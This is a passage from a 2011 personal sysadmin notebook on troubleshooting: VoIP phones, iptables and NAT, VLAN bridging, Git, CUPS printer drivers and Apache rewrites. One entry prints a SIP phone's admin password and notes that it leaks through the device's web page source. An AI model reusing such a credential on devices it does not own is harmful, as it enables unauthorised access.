]; then cd $DIR1; elif [ -x $DIR2 ]; then cd $DIR2; else echo "Can't find $DIR1 nor $DIR2" >&2 exit 1 fi cd `pwd -P` ID=`cat ../../serial` echo $ID exit 0 ---------------------------------------------------------------------------- [1] http://zwizwa.be/darcs/pool/bin/ttyUSB_id [2] entry://20110202-124334 Entry: Creating wordpress database Date: Tue Jan 18 10:43:23 EST 2011 http://codex.wordpress.org/Installing_WordPress >> Using the MySQL Client $ mysql -u adminusername -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 5340 to server version: 3.23.54 Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> CREATE DATABASE databasename; Query OK, 1 row affected (0.00 sec) mysql> GRANT ALL PRIVILEGES ON databasename.* TO "wordpressusername"@"hostname" -> IDENTIFIED BY "password"; Query OK, 0 rows affected (0.00 sec) mysql> FLUSH PRIVILEGES; Query OK, 0 rows affected (0.01 sec) mysql> EXIT Bye $ Entry: Skype doesn't record Date: Sat Jan 29 11:33:41 EST 2011 Somehow skype doesn't attach properly to the right input port. I'm not sure what's going on. Let's test with ecasound if it actually works: ecasound -i alsa,hw:0 -o test.wav Ecasound doesn't record anything either. This seems related[1]. # Suggested: amixer sset Capture cap "Front Mic" amixer get "Front Mic" amixer sset Capture noplayback amixer sset "Front Mic" noplayback arecord foo.wav arecord -vv foo.wav aplay foo.wav # This works for me: amixer sset Capture cap "Front Mic" amixer get "Front Mic" amixer sset "Front Mic" noplayback ## Front Mic: 0 ## Mic Boost: 0 ## Capture: 77 ## Capture 1: 77 [1] http://www.linuxquestions.org/questions/linux-laptop-and-netbook-25/alsa-microphone-works-but-i-cant-record-694726/ Entry: voip Date: Sat Jan 29 17:23:23 EST 2011 iptel.org In twinkle, also set registrar to iptel.org It doesn't need STUN. I was able to call the echo service sip:500@ekiga.net but sound didn't work. Also the callback service didn't seem to work. ekiga.net This seems to work fine. ekiga toll-free hub: sip:*0131800xxxxxxx@ekiga.net sip:*01318007425877@ekiga.net Entry: openvpn keepalive Date: Sun Jan 30 08:08:42 EST 2011 Some experiments. ubi <-> zoo. The problem seems to be ping packets in the direction ubi->zoo. If I set my ping interval higher, I still get disconnects. Sniffing it seems that the OpenVPN ping is one-directional. So it is my guess that the ubi->zoo keeps some stateful firewall open, something with a very low timeout. Entry: usb serial cont Date: Wed Feb 2 12:43:34 EST 2011 Continuation of [1], changes to script [2]. [1] entry://20101231-230904 [2] http://zwizwa.be/darcs/pool/bin/ttyUSB_id Entry: Wacom CTL-460 Date: Wed Feb 2 20:04:47 EST 2011 In my running linux the new tabled isn't recognized yet: /opt/src/linux-2.6.33.7-rt29/drivers/input/tablet/wacom_wac.c : missing: USB_DEVICE(USB_VENDOR_ID_WACOM, 0xD4) [1] http://ubuntuforums.org/showthread.php?t=1290251 Entry: FV6020 sip phone Date: Thu Feb 3 17:05:21 EST 2011 The first thing to do is to log into the web interface and enable the syslog server. Set it to loglevel 7. On debian with rsyslog, enable listening to port 514 in /etc/rsyslog.conf Seems that "Save Config" is necessary after updating any (some?) items. I also enabled SNTP to pool.ntp.org which seems to work. This is what it sends to syslog: Feb 3 17:07:26 192.168.6.245 [MGR] | NOTICE |<D:/voip/platform/app/dhcpClient.c: 580>DHCP client start OK Feb 3 17:07:26 192.168.6.245 [MGR] | INFO |<D:/voip/platform/lan/dhcpsConfig.c: 637>DHCP Server Start Success Feb 3 17:07:26 192.168.6.245 [MGR] | NOTICE |<D:/voip/platform/lan/natConfig.c: 858>NAT module Start Successfully#012 Feb 3 17:07:26 192.168.6.245 [SIP] | WARNING|<D:/voip/platform/sip/sipcode/osipua/src/osipua.c: 59>info: Starting osip stack and osipua layer. Feb 3 17:07:26 192.168.6.245 [SIP] | ERROR |<D:/voip/platform/sip/sipcode/osipua/src/osipmanager.c: 151>info: port already listened Feb 3 17:07:26 192.168.6.245 [MGR] | WARNING|<D:/voip/platform/sip/sipcode/sipApp/sipApp.c: 4446>No phone number , can not start register Feb 3 17:07:26 192.168.6.245 [SIP] | WARNING|<D:/voip/platform/sip/sipcode/osipua/src/udp.c: 362>info: Entering osipua thread. No mather what I try, this doesn't seem to work. It doesn't send any traffic either.. The fragment "osipmanager.c: 151>info: port already listened" gives google hits on linphone. It seems to be registered to a particular domain: ___________________________________________________________________________ localSipPort....................:5060 localDomain.....................:202.172.229.49 PrivatelocalDomain..............:203.117.217.131 enableregister..................:Yes Registrar Ip....................:202.172.229.49 Registrar Port..................:5060 Registrar User Name.............: Registrar User Pwd..............:****** Registrar Expires...............:60(second) Proxy Ip........................:202.172.229.49 Proxy Port......................:5060 Proxy User Name.................: Proxy User Pwd..................:****** Private Registrar Ip............:203.117.217.131 Private Registrar Port..........:5060 Private Registrar User Name.....: Private Registrar User Pwd......:****** Private Registrar Expires.......:60(second) Private Proxy Ip................:203.117.217.131 Private Proxy Port..............:5060 Private Proxy User Name.........: Private Proxy User Pwd..........:****** Public Outbound Proxy Enable....:Yes Private Outbound proxy Enable...:No DtmfSendMode....................:DTMF_RELAY StunEnable......................:No NAT Transverse..................:No StunKeepAlive...................:50(seconds) StunServer Ip...................: StunServer Port.................:3478 RFCver..........................:rfc3261 Alter Registrar Ip..............: Alter Registrar Port............:5060 Alter Registrar User Name.......: Alter Registrar Pwd.............:****** Alter Proxy Ip..................: Alter Proxy Port................:5060 Alter Proxy User Name...........: Alter Proxy Pwd.................:****** Auto Server Detect..............:No Server Detect Time..............:60(second) Auto server Alter...............:No We haven't registered on public server. We haven't registered on private server. ___________________________________________________________________________ So it sends SIP packets to 202.172.229.49 if you set a user+password+phonenumber in the web interface. So, I added an alias for the interface the phone is connected to, which is br0 on zoo: sudo ifconfig br0:1 202.172.229.49 netmask 255.255.255.0 Then I let the phone auto-configure with DHCP, and change its IP address to static 202.172.229.1 with other info (gateway, DNS, ...) left out. http://202.172.229.1/ Another way to fake it is to add an if on the router in the same subnet such that DNS and external routing also work. Summary: - zoo (asterisk): sudo ifconfig br0:1 202.172.229.49 netmask 255.255.255.0 - fred (router): sudo ifconfig br0:1 202.172.229.254 netmask 255.255.255.0 - phone: ip 202.172.229.1 gw,dns 202.172.229.254 registrar (hardcoded) 202.172.229.49 EDIT: got reply from seller: admin password was 0!qaZ++@wsX0 which could be recovered from the web interface by inspecting the source code on the account manage page for admin. Entry: Wacom Bamboo Pen Date: Fri Feb 4 17:06:59 EST 2011 Good news is that it seems to be supported [1]. sudo apt-get install dkms download and install [2]. There's a problem with the kernel API though: DKMS make.log for wacom-0.8.8 for kernel 2.6.33.7-rt29 (amd64) Fri Feb 4 17:04:59 EST 2011 Building linuxwacom drivers for 2.6 kernel. ***Note: Drivers not enabled as modules in your kernel config but requested through configure are NOT built make -C /lib/modules/2.6.33.7-rt29/build M=/var/lib/dkms/wacom/0.8.8/build/src/2.6.30 make[1]: Entering directory `/opt/src/linux-2.6.33.7-rt29' LD /var/lib/dkms/wacom/0.8.8/build/src/2.6.30/built-in.o CC [M] /var/lib/dkms/wacom/0.8.8/build/src/2.6.30/wacom_wac.o CC [M] /var/lib/dkms/wacom/0.8.8/build/src/2.6.30/wacom_sys.o /var/lib/dkms/wacom/0.8.8/build/src/2.6.30/wacom_sys.c: In function ‘wacom_probe’: /var/lib/dkms/wacom/0.8.8/build/src/2.6.30/wacom_sys.c:490: error: implicit declaration of function ‘usb_alloc_coherent’ /var/lib/dkms/wacom/0.8.8/build/src/2.6.30/wacom_sys.c:491: warning: assignment makes pointer from integer without a cast /var/lib/dkms/wacom/0.8.8/build/src/2.6.30/wacom_sys.c:561: error: implicit declaration of function ‘usb_free_coherent’ make[2]: *** [/var/lib/dkms/wacom/0.8.8/build/src/2.6.30/wacom_sys.o] Error 1 make[1]: *** [_module_/var/lib/dkms/wacom/0.8.8/build/src/2.6.30] Error 2 make[1]: Leaving directory `/opt/src/linux-2.6.33.7-rt29' make: *** [all] Error 2 [1] http://frankgroeneveld.nl/2010/04/11/get-wacom-bamboo-fun-pen-working-in-ubuntu-lucid/ [2] http://ppa.launchpad.net/doctormo/wacom-plus/ubuntu/pool/main/w/wacom-source/wacom-dkms_0.8.8-1ubuntu5_all.deb Entry: zoo network todo Date: Sun Feb 6 11:48:16 EST 2011 - split wired/wireless - ad a tap on outgoing if - setup zaagske proxy Entry: tcpdump on fred Date: Sun Feb 6 12:17:24 EST 2011 I'm using shfsmount and tcpdump on the networks share since there is no room left with openvpn installed. See handy opkg_get[1] script. /opt/usr/sbin/tcpdump -i br-lan \ "not arp \ and port not 4500 \ and port not 53 \ and port not 1194 \ and port not 22 \ and host not 192.168.6.224 \ and host not 192.168.6.254" /opt/usr/sbin/tcpdump -i eth0.1 \ "not arp \ and port not 53" [1] http://zwizwa.be/darcs/pool/bin/opkg_get Entry: FoxyProxy Date: Sun Feb 6 21:23:06 EST 2011 The Standard version allows URL pattern selection for accessing certain sites through certain proxies. It also can defer DNS lookups to the proxy. [1] http://getfoxyproxy.org/ Entry: OpenOCD RPC Date: Sun Feb 13 12:10:23 EST 2011 Problem: how to upload a file from the unix command line, using a running OpenOCD instance? I tried something like this: telnet localhost 4444 <<EOF flash write_image erase $FILE $BASE elf EOF but that doesn't seem to work well as the pipe is closed before the op finishes. The op does execute though, but there's no way to wait for its completion. Looks like this needs "expect". Entry: Racket in debian Date: Tue Feb 15 14:13:54 EST 2011 I'm not going to wait for it any longer. 5.1 is just out and I'm simply going to compile it from git source. 1. get the git 2. cd src ; ./configure ; make ; make install This creates an in-place build. Entry: Xmonad and Java (swig?) apps Date: Thu Feb 17 10:36:49 EST 2011 verified: export _JAVA_AWT_WM_NONREPARENTING=1 [1] http://www.haskell.org/haskellwiki/Xmonad/Frequently_asked_questions#Problems_with_Java_applications.2C_Applet_java_console Entry: ttyACM vs ttyUSB Date: Thu Feb 17 10:57:10 EST 2011 The Openbench logic sniffer identifies as a CDC modem device, not a serial port. What's the difference? Entry: Git rebase and backups Date: Fri Feb 18 12:34:49 EST 2011 It seems to be a better idea to use rsync to back up a repository that is has rebase operations going on, instead of using push/pull. Entry: Asterisk & IPTABLES Date: Sat Feb 19 07:38:28 EST 2011 These are the issues: - Port forwarding for SIP ports (both TCP & UDP) - Port forwarding for RTP ports (UDP) - Pass public IP address to asterisk For other purposes, it seems best to do a whole range port forwarding on the router. So what is necessary first is an understanding of how snat works. Entry: Full NAT Date: Sat Feb 19 08:04:38 EST 2011 # fullnat <public IP> <private IP> # rule 1. internal IP to external IP after routing. # rule 2. external IP to internal IP before routing. # rule 3. rewrites outgoing packaets originating on FW to internal addresses fullnat () { $IPTABLES -t nat -A POSTROUTING -o eth+ -s $2 -j SNAT --to-source $1 $IPTABLES -t nat -A PREROUTING -d $1 -j DNAT --to-destination $2 # necessary for connections from internal IPs to exernal IPs $IPTABLES -t nat -A OUTPUT -d $1 -j DNAT --to-destination $2 } For openwrt this becomes: fullnat () { $IPTABLES -t nat -A POSTROUTING -o eth+ -s $2 -j SNAT --to-source $1 $IPTABLES -t nat -A PREROUTING -d $1 -j DNAT --to-destination $2 # necessary for connections from internal IPs to exernal IPs $IPTABLES -t nat -A OUTPUT -d $1 -j DNAT --to-destination $2 } Doesn't work on openwrt... Entry: Openwrt port forwarding Date: Sat Feb 19 09:42:59 EST 2011 Let's just use the highlevel interface instead of working with iptables directly. This is how to forward a TCP/UDP port range: config redirect option src wan option src_dport 12000-13000 option dest lan option dest_ip 192.168.6.254 Entry: z.sh Date: Sat Feb 19 20:27:06 EST 2011 This[1] is just great. [1] https://github.com/rupa/z Entry: Wacom Date: Sun Feb 20 23:14:27 EST 2011 tom@zoo:/opt/src/linuxwacom-0.8.8-10$ ./configure --enable-wacom tom@zoo:/opt/src/linuxwacom-0.8.8-10$ file /opt/src/linuxwacom-0.8.8-10/src/2.6.30/wacom.ko /opt/src/linuxwacom-0.8.8-10/src/2.6.30/wacom.ko: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped Why does it build a 32-bit ko? Ah, because my source dir /opt/src/linux-2.6.33.7-rt29 contains a 32bit build. Probably a remnant of an old .deb build. tom@zoo:/opt/src/linux-2.6.33.7-rt29$ file ./debian/linux-image-2.6.33.7-rt29/lib/modules/2.6.33.7-rt29/kernel/lib/crc-t10dif.ko ./debian/linux-image-2.6.33.7-rt29/lib/modules/2.6.33.7-rt29/kernel/lib/crc-t10dif.ko: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), from 'd', not stripped tom@zoo:/opt/src/linux-2.6.33.7-rt29$ ls -l ./debian/linux-image-2.6.33.7-rt29/lib/modules/2.6.33.7-rt29/kernel/lib/crc-t10dif.ko -rw-r--r-- 1 tom tom 3024 2010-11-21 17:21 ./debian/linux-image-2.6.33.7-rt29/lib/modules/2.6.33.7-rt29/kernel/lib/crc-t10dif.ko Indeed: tom@zoo:/opt/src$ ls -l linux*386.deb -rw-r--r-- 1 tom tom 6527530 2010-11-21 17:22 linux-headers-2.6.33.7-rt29_1_i386.deb -rw-r--r-- 1 tom tom 19326440 2010-11-21 17:21 linux-image-2.6.33.7-rt29_1_i386.deb Rebuilding it for amd64 should solve it. Yep it did. Tablet works fine now. Entry: Git and rebase Date: Tue Feb 22 10:09:16 EST 2011 I want to change the order of patches. remotes/origin/master - A - B - C - master -> remotes/origin/master - C - A - B - master How to go about that? The simplest way I see is to: - rename the current master branch to 'dev' - set master to remotes/origin/master - cherry pick on top This[1] says that: "When it comes to a range of commits, cherry-picking is not practical." I'm going to try the cherry pick first. git branch tom # tag current branch git checkout master # switch to master (already on) git reset remotes/origin/master # reset master to remote git reset --hard HEAD # discard local changes (git reset leaves uncommitted patch on top of new base) After this you can switch between branches "git checkout tom" and "git checkout master". To pull in changes from the other branch, simply do: git cherry-pick <id1> <id2> ... A simple way to do this is to open up gitk on the other dev branch, then switch to master branch on the command line and copy-paste the hash IDs. To flatten patches into a single patch, do this: git rebase --interactive <id1> with <id1> the base revision to squash. Hmm.. That didn't really do anything. I get the following reply which lets me edit a commit message in emacs, but my master branch still looks the same: tom@zoo:~/priv/git-private/ecos_trailer$ git rebase --interactive 9e5bf0e6a0dc6a08e20fcf2250244fc07de57191 Waiting for Emacs... Successfully rebased and updated refs/heads/master. Maybe the commit message has some commands in it? That might be the case. Anyways, I think I also found how to just change commit messages[3]: Let's use the following: Change-Id: Ib25d489261e530183ba60a14bb05cc296b59dbef [1] http://stackoverflow.com/questions/1994463/how-to-cherry-pick-a-range-of-commits-and-merge-into-another-branch [2] http://stackoverflow.com/questions/4506758/flatten-old-history-in-git [3] http://stackoverflow.com/questions/179123/how-do-i-edit-an-incorrect-commit-message-in-git Entry: Full VPN out Date: Thu Feb 24 12:51:35 EST 2011 I need a host that doesn't use my default gw for traffic. I need it for testing VOIP. How to proceed? I'd say vserver but the restrictions on direct machine access are a real pain. Better go with a kvm based solution. Entry: Backing up .git repositories in the face of rebases Date: Fri Feb 25 12:44:32 EST 2011 The simplest seems to be just to rsync the .git directory and leave all the rest alone, as it can be recreated. Otherwise you're pulling a lot of code and possibly build results through every time, since the working tree might be in any state. Entry: Brother MFC-240C CUPS error: No pages found! Date: Mon Feb 28 13:37:46 EST 2011 Setting the loglevel to warn exposed this error message: D [28/Feb/2011:08:35:55 -0500] [Job 8] /usr/local/Brother/Printer/mfc240c/lpd/filtermfc240c: 60: a2ps: not found apt-get install a2ps That didn't fix it though it made the error message above disappear. Entry: Crap CUPS Date: Mon Feb 28 15:30:25 EST 2011 # Went back to stable, then did apt-get uninstall <cups> <brother drivers> ... apt-get autoremove aptitude purge '~c' Got it back to work now, but still get the 'No pages found!' error. Again, installing a2ps doesn't help. moms:/var/log/cups# apt-get install a2ps Reading package lists... Done Building dependency tree Reading state information... Done The following extra packages will be installed: lpr psutils wdiff Suggested packages: emacsen-common groff gv html2ps graphicsmagick-imagemagick-compat imagemagick texlive-base-bin t1-cyrillic magicfilter apsfilter gs The following NEW packages will be installed: a2ps lpr psutils wdiff 0 upgraded, 4 newly installed, 0 to remove and 0 not upgraded. Need to get 1,291 kB of archives. After this operation, 6,078 kB of additional disk space will be used. Do you want to continue [Y/n]? So I re-purged. Maybe the error message "a2ps" and "No pages found!" messages are not related? Using cups-lpd from inetd works, but then the margins are not ok! What a pile of crap!! printer stream tcp nowait lp /usr/lib/cups/daemon/cups-lpd cups-lpd Anyways.. Let's dig a bit further. It looks like /usr/local/Brother/Printer/mfc240c/lpd/filtermfc240c receives an empty file on stdin. I checked with wireshark, and the PS file is transferred over the ipp socket. In the printers.conf the following filter is defined: Filter application/vnd.cups-postscript 0 brlpdwrappermfc240c How does the chain of command work? The first executed filter is: /usr/lib/cups/filter/brlpdwrappermfc240c Which is the one that calls filtermfc240c. Enabling the debug vars in that file gives also an empty ps file. Now, this file looks totally messed up! What's with this: nup="cat" if [ "" != '' ] && [ $NUPENABLE != 0 ]; then if [ "" != '' ]; then nup="psnup -64" elif [ "" != '' ]; then nup="psnup -32" elif [ "" != '' ]; then nup="psnup -25" elif [ "" != '' ]; then nup="psnup -16" elif [ "" != '' ]; then nup="psnup -8" elif [ "" != '' ]; then nup="psnup -6" elif [ "" != '' ]; then nup="psnup -4" elif [ "" != '' ]; then nup="psnup -2" elif [ "" != '' ]; then nup="cat" fi echo "NUP=$nup" >>$LOGFILE if [ -e /usr/bin/psnup ]; then if [ $# -ge 7 ]; then cat $6 | $nup > $INPUT_TEMP_PS else cat | $nup > $INPUT_TEMP_PS fi else if [ $# -ge 7 ]; then cp $6 $INPUT_TEMP_PS else cat > $INPUT_TEMP_PS fi fi else if [ $# -ge 7 ]; then cp $6 $INPUT_TEMP_PS else cat > $INPUT_TEMP_PS fi fi My guess is it's the line "if [ $# -ge 7 ]; then", that should be 6. The other guess is then that for normal printing the input comes on the stdin instead of being supplied by a file like for remote? Let's try. Yes, print comes through, but the margins are likewise messed up. But! The margins are off by the difference of A5 and letter format, so that's probably just openoffice config. Where can I send this fix? Entry: Brother MFC-240C CUPS Linux driver bug Date: Mon Feb 28 17:37:38 EST 2011 Long story short: The error is: "No pages found!" when printing remotely. Everything works fine locally. The bug is a classic off-by-one error. The fix is at the end of /usr/lib/cups/filter/brlpdwrappermfc240c - if [ $# -ge 7 ]; then + if [ $# -ge 6 ]; then When the 6th argument is zero, the input is expected on stdin. When it is not, the input is stored in a file. Apparently for local printing (and cups-lpr) the input is on stdin, and for remote it is in a file. Looks like this was simply not tested during driver debugging. The error message in /var/log/cups/error_log: D [28/Feb/2011:08:35:55 -0500] [Job 8] /usr/local/Brother/Printer/mfc240c/lpd/filtermfc240c: 60: a2ps: not found is simply a consequence of the input being an empty file which itself is a consequence of the "-ge 7" bug.. This empty file is then not recognized and its contents is passed over to a2ps. Context: this is on debian squeeze with the following Brother drivers: # dpkg -l |grep 240 ii mfc240ccupswrapper 1.0.1-1 Brother CUPS Inkjet Printer Definitions ii mfc240clpr 1.0.1-1 Brother lpr Inkjet Printer Definitions And this cups version: # dpkg -l |grep cups ii cups 1.4.4-7 Common UNIX Printing System(tm) - server ii cups-client 1.4.6-1 Common UNIX Printing System(tm) - client programs (SysV) ii cups-common 1.4.6-1 Common UNIX Printing System(tm) - common files ii cups-driver-gutenprint 5.2.6-1 printer drivers for CUPS ii cups-ppdc 1.4.4-7 Common UNIX Printing System(tm) - PPD manipulation utilities ii ghostscript-cups 8.71~dfsg2-9 The GPL Ghostscript PostScript/PDF interpreter - CUPS filters ii libcups2 1.4.4-7 Common UNIX Printing System(tm) - Core library ii libcupscgi1 1.4.4-7 Common UNIX Printing System(tm) - CGI library ii libcupsdriver1 1.4.4-7 Common UNIX Printing System(tm) - Driver library ii libcupsimage2 1.4.4-7 Common UNIX Printing System(tm) - Raster image library ii libcupsmime1 1.4.4-7 Common UNIX Printing System(tm) - MIME library ii libcupsppdc1 1.4.4-7 Common UNIX Printing System(tm) - PPD manipulation library ii mfc240ccupswrapper 1.0.1-1 Brother CUPS Inkjet Printer Definitions Entry: Brother HL-2240 toner info Date: Tue Mar 1 22:59:12 EST 2011 I found a very interesting document about the HK-2240 toner cardriges TN-420 and TN-450. [1] http://www.uninetimaging.com/downloads/technical/TecArtWebAdded/Brother_HL2270_TN450_Reman_eng.pdf Entry: eth0.1 vs eth0:1 Date: Wed Mar 2 00:06:19 EST 2011 802.1Q VLAN (eth0.1) vs alias (eth0:1). An alias can be used to attach a second IP address to a single interface, while a VLAN is an encapsulated ethernet connection based on packets tagged with an extra identifier[1]. To enable VLAN support, issue: # modprobe 8021q To create a new interface for VLAN ID 11, issue: # vconfig add eth0 11 # ifconfig eth0.11 up # tcpdump -i eth0.11 [1] http://en.wikipedia.org/wiki/IEEE_802.1Q Entry: Firewall and bridge Date: Wed Mar 2 00:48:09 EST 2011 I would like to firewall a bridge connection. On a host inside my network I have a bridge that contains VLAN 11, and on the router the wireless is bridged to VLAN11. The router does not connect the wireless interface directly to the local net. The idea is that it is filtered and monitored on the internal host. So, how to limit traffic that goes "through" the bridge? Is this at all possible? I want a bridge because I want a single IP space that is not tied to location. This is to keep the failsafe situation simple and because generally it seems like a lot less work to manage. On the router, create the VLAN 11 and make sure the port 3 (internal server) carries the vlan tags. # vconfig add eth0 11 # ifconfig eth0.11 up # robocfg vlan 11 ports "3t 5t" Then create the wifi bridge, and move the wifi interface from br-lan on the router to br-wifi, tying it to VLAN 11. # brctl addbr br-wifi # ifconfig br-wifi up # brctl addif br-wifi eth0.11 # brctl delif br-lan wl0 # brctl addif br-wifi wl0 On the host just do the same: # vconfig add eth0 11 # ifconfig eth0.11 up # brctl addif br0 eth0.11 Hmm.. This doesn't seem to be stable.. I'm loosing packets somewhere. [1] http://tldp.org/HOWTO/Ethernet-Bridge-netfilter-HOWTO.html Entry: Debian update to squeeze Date: Wed Mar 2 10:20:35 EST 2011 0;261;0c grub-update-from-legacy dpkg-reconfigure sysv-rc Entry: IPTABLES amateur Date: Wed Mar 2 18:57:56 EST 2011 I need to find out how logging works.. I've wasted enough time half understanding iptables. Time for some clear debugging pictures.. Entry: GUD (gdb in emacs) Date: Sat Mar 5 15:37:11 EST 2011 Two problems I'd like to solve: 1. Send a command to a gdb session inside emacs. 2. Wait for this command to finish The first one doesn't seem to be directly supported (odd?) but the second one is reallyu not trivial. Since all commands are a-synchronous, this requires some kind of callback. First one can use 'gud-call which is undocumented, but seems to do what I want. Entry: Racket Date: Sun Mar 6 12:25:48 EST 2011 To build the racket debian package, first get the git repo[1], create the source package with gitpkg, create the binary package with dpkg-buildpackage and install it: git config gitpkg.pre-export-hook /usr/share/gitpkg/hooks/pristine-tar-pre-export-hook gitpkg master cd ../deb-packages/plt-scheme/plt-scheme-5.0/ dpkg-buildpackage -b cd .. dpkg -i plt-scheme_5.0-1_all.deb plt-scheme-doc_5.0-1_all.deb racket_5.0-1_amd64.deb racket-common_5.0-1_all.deb racket-doc_5.0-1_all.deb For the last step I had to use --force-overwrite because of common files in racket-common and racket-doc. However, racket 5 breaks my stuff. I didn't take a careful look, but it seems to be some planet libraries are still missing.. Not ready yet.. Back to 4.2 EDIT: breaks sweb: facade.ss: make-make-response/ful -> response/full [1] http://git.debian.org/?p=collab-maint/racket.git Entry: iptables and bridges Date: Wed Mar 9 15:04:22 EST 2011 Looks like traffic between 2 interfaces in a bridge goes through the FORWARD chain. The good news is that you can bridge a bunch of VMs together on the same bridge interface, keeping them in the same subnet for easy management, and use a FORWARD rule to prevent them to see each other. Entry: zoo site setup Date: Fri Mar 11 19:33:10 EST 2011 I'd like to go back to the old zzz-style setup, where the WRT54G routers are dumb, and just bridge their interfaces onto vlans, where a more powerful server takes care of all networking stuff. However, I want to combine it with a default setup that makes the router take over in case the bigger server is down, so there is at least internet functionality. The main question is: when you run dhcp-client on the bridge, can you set the mac address? It's not necessary to use a bridge, simply configure the WRT54G switch to bring tagged frames from the WAN port to the server port, and possibly disconnect the router from the WAN port. # Detach router (5) from the WAN port (4), and send tagged frames over # LAN-1 (3) which has the server. robocfg vlan 1 ports "4 3t" # Kill local daemons killall udhcpc killall dnsmasq killall openvpn echo "nameserver 192.168.6.254">/etc/resolv.conf # It might be a good idea to add a watchdog that resets the router # when the connectivity to the routing server goes away. Entry: racket debian Date: Fri Mar 18 11:52:29 EDT 2011 Trying the debian packageagain. Had to foefelare the version of the top entry from 5.1+dfsg1 -> 5.1 in debian/changelog because of: tom@zoo:/opt/src/racket-debian$ gitpkg master pristine-tar checkout ../deb-packages/racket/racket_5.1+dfsg1.orig.tar.gz fatal: Path 'racket_5.1+dfsg1.orig.tar.gz.delta' does not exist in 'refs/heads/pristine-tar' /usr/bin/pristine-tar: git show refs/heads/pristine-tar:racket_5.1+dfsg1.orig.tar.gz.delta failed ERROR: pre-export-hook '/usr/share/gitpkg/hooks/pristine-tar-pre-export-hook' failed I don't know what it's building buit it's building ;) I found out from building the upstream current git that the previous problem I had with racket is in zwizwa/plt: am API change in the web server: make-response/full -> response/full After installing, I get the following problem: tom@zoo:~$ mzscheme read failed to read all 23 bytes from file /usr/bin/mzscheme Aborted From [1]: "According to the Racket developers, this is because mzscheme has been stripped." [1] https://bugs.archlinux.org/task/19962 Entry: Proper colors for emacs in terminal Date: Tue Mar 22 10:35:18 EDT 2011 This used to work just fine for me, but now I get very inconsistent results. On zoo it works, and it has TERM=xrvt-unicode. Ok, it works in the ubit VM too after "apt-get install rxvt-unicode". It doesn't seem to work well inside of screen though.. Can we use just emacsclient? Another option is to use dtach. Entry: KVM network issue Date: Tue Mar 22 10:53:36 EDT 2011 Under high load the ethernet emulation seems to give up. Entry: Event and monitor system Date: Tue Mar 22 10:54:27 EDT 2011 I need some standard way to monitor generic events and conditions on my linux hosts. Anything really. Entry: emacs + dtach Date: Tue Mar 22 13:00:41 EDT 2011 Got it working with xterm (for the 256 colors). Hoever, resize won't work with xterm while it works well with rxvt. Seems to be due to this: /usr/share/X11/app-defaults/XTerm has *allowWindowOps: false On Debian that's /etc/X11/app-defaults/XTerm Add these to ~/.Xdefaults: xterm*allowWindowOps: true xterm*allowTitleOps: true xterm*allowFontOps: true And then load them with xrdb ~/.Xdefaults Entry: Weird bridge tcpdump problem Date: Tue Mar 22 19:35:32 EDT 2011 Packets come through when I have "tcpdump -i br1" running. As soon as I quit that, the packets don't come through. Has something to do with it entering promiscuous mode? From here [1]: "In order to act a a bridge, the network device must be placed into promiscuous mode which means it receives all traffic on a network." Looks like tcpdump disabled promiscuous mode on a bridge! To fix: ifconfig br1 promisc Can't reproduce with tcpdump after doing the above. [1] http://www.linuxfoundation.org/collaborate/workgroups/networking/bridge Entry: Merging serial console Date: Tue Mar 22 20:08:29 EDT 2011 How to merge a serial console to a network socket? If it's unidirectional, the simplest way might be to use udp broadcast. Maybe it's simplest to just use dtach. Entry: Things to fix Date: Tue Mar 22 22:23:47 EDT 2011 - copy & paste in xterm/dtach emacs - kvm boot gpxe -> seems to work after running gpxe from grub to insert extra delay. the qemu tap bridge takes a while to setup and fails the gpxe timout. - dtach cu -> works fine together with i.e. picocom. however, dtach needs a terminal so won't just dump it's output Entry: echo -> clear screen / home position Date: Wed Mar 23 14:27:13 EDT 2011 Use this for clear screen: echo -ne '\033[2J' and this for return to home position: echo -ne '\033[2H' The latter is useful for running a command many times per second, and observe the output: while sleep .05; do echo -ne '\033[2H' ; ./MY_COMMAND ; done Entry: Apache mod_rewrite sucks Date: Thu Mar 24 11:08:31 EDT 2011 Actiually it's probably just that I don't read the manual properly. I guess it's quirky to avoid infinite loops? Anyways, got some very simple, literal redirects to do, but I can't seem to get them to work. More later. Entry: Cups again (boy I hate printers) Date: Wed Mar 30 13:55:32 EDT 2011 Suddenly I get problems with landscape/portrait orientation. This happens with locally printing from openoffice (need to pick "portrait" when printing a landscape document). I also get different behaviour printing remotely. Some portrait documents are printed landscape, and some landscape are portrait. There seems to be a difference between lpd and remote cups. What a horrible mess.. Entry: Saturation Date: Wed Mar 30 15:25:56 EDT 2011 Copying data from zoo to moms saturates at 12MB/sec, completely plugging the pipe. No other traffic gets through. Why does it saturate? And why does it saturate at 12MB/sec (100Mbit?) for a disk copy with dst and src disks faster than that? VLAN issue? tom@zoo:~$ ssh moms 'cat /dev/zero' | pv >/dev/null This gives 11-12 MB/sec. These are 100M speeds. Topology is as follows. zoo -- gig1 -- gig2 -- moms | | fast1 fast2 -- internet | wifi Both gigabit ethernet switches have a fast ehternet (100M) switch attached which connects some slower gear. fast2 is a WRT54G which has its switch configured to tag the internet port as VLAN1, and bridges its wifi port to VLAN11 on the shared segment. Entry: VMWare interfaces: vmnet0 vmnet1 vmnet8 Date: Thu Mar 31 11:27:38 EDT 2011 vmnet0 Bridge vmnet1 Host Only vmnet8 NAT [1] http://www.extremetech.com/article2/0,1697,1156371,00.asp Entry: Saturation cont. Date: Fri Apr 1 20:02:24 EDT 2011 The problem went away. The following now gives 22MB/sec and other traffic passes through just fine. Weird.. tom@zoo:~$ ssh moms "cat /dev/zero" |pv>/dev/null Entry: Linux printing again.. Date: Tue Apr 5 19:27:32 EDT 2011 Why can't this just work? It worked better 10 years ago with just lpd and ghostscript! Debian squeeze. Okular + Openoffice don't get orientation right on lanscape documents. I'm guessing it's cups since it happens for 2 programs. Need to test on the command line, i.e. the simplest path from file to what is sent to the driver. Take half a day for that. Entry: Apache rewrite rules : Matching on CGI inputs? Date: Sun Apr 10 10:55:35 EDT 2011 I want to redirect a wordpress URL like: /blog/?page_id=1520 This doesn't seem to work. My guess is that it's because the script parameter page_id=1520 is handled differently than the base url blog/ This can be solved by using RewriteCond on the QUERY_STRING environment variable. By default the query is passed through. To kill it or otheriwise change it add a question mark. RewriteCond %{QUERY_STRING} ^page_id=1520$ RewriteRule ^/blog/$ http://deyofthephoenix.com/herstories/? From [1]: Modifying the Query String By default, the query string is passed through unchanged. You can, however, create URLs 